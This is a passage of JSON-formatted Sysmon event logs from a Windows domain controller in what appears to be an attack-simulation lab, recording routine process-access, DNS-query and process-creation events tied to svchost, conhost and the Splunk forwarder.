{90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1997,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1998,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1999,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2000,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2001,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.750\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE8-5F2D-0000-001030450300}\r\nTargetProcessId: 2288\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.750","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE8-5F2D-0000-001030450300}","TargetProcessId":"2288","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2002,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.925\r\nProcessGuid: {90617006-3FE4-5F2D-0000-00107D140200}\r\nProcessId: 2564\r\nQueryName: WIN-DC-9849183\r\nQueryStatus: 0\r\nQueryResults: fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;\r\nImage: C:\\Windows\\System32\\dfsrs.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.925","ProcessGuid":"{90617006-3FE4-5F2D-0000-00107D140200}","QueryName":"WIN-DC-9849183","QueryStatus":"0","QueryResults":"fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;","Image":"C:\\Windows\\System32\\dfsrs.exe","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2003,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.879\r\nProcessGuid: {90617006-3FE8-5F2D-0000-0010DA460300}\r\nProcessId: 4092\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\WinEventLog.cmd\" --scheme\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.879","ProcessGuid":"{90617006-3FE8-5F2D-0000-0010DA460300}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\WinEventLog.cmd\" --scheme\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2004,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.875\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 3752\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-0010E5150300}\r\nTargetProcessId: 4092\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.875","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"3752","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-0010E5150300}","TargetProcessId":"4092","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 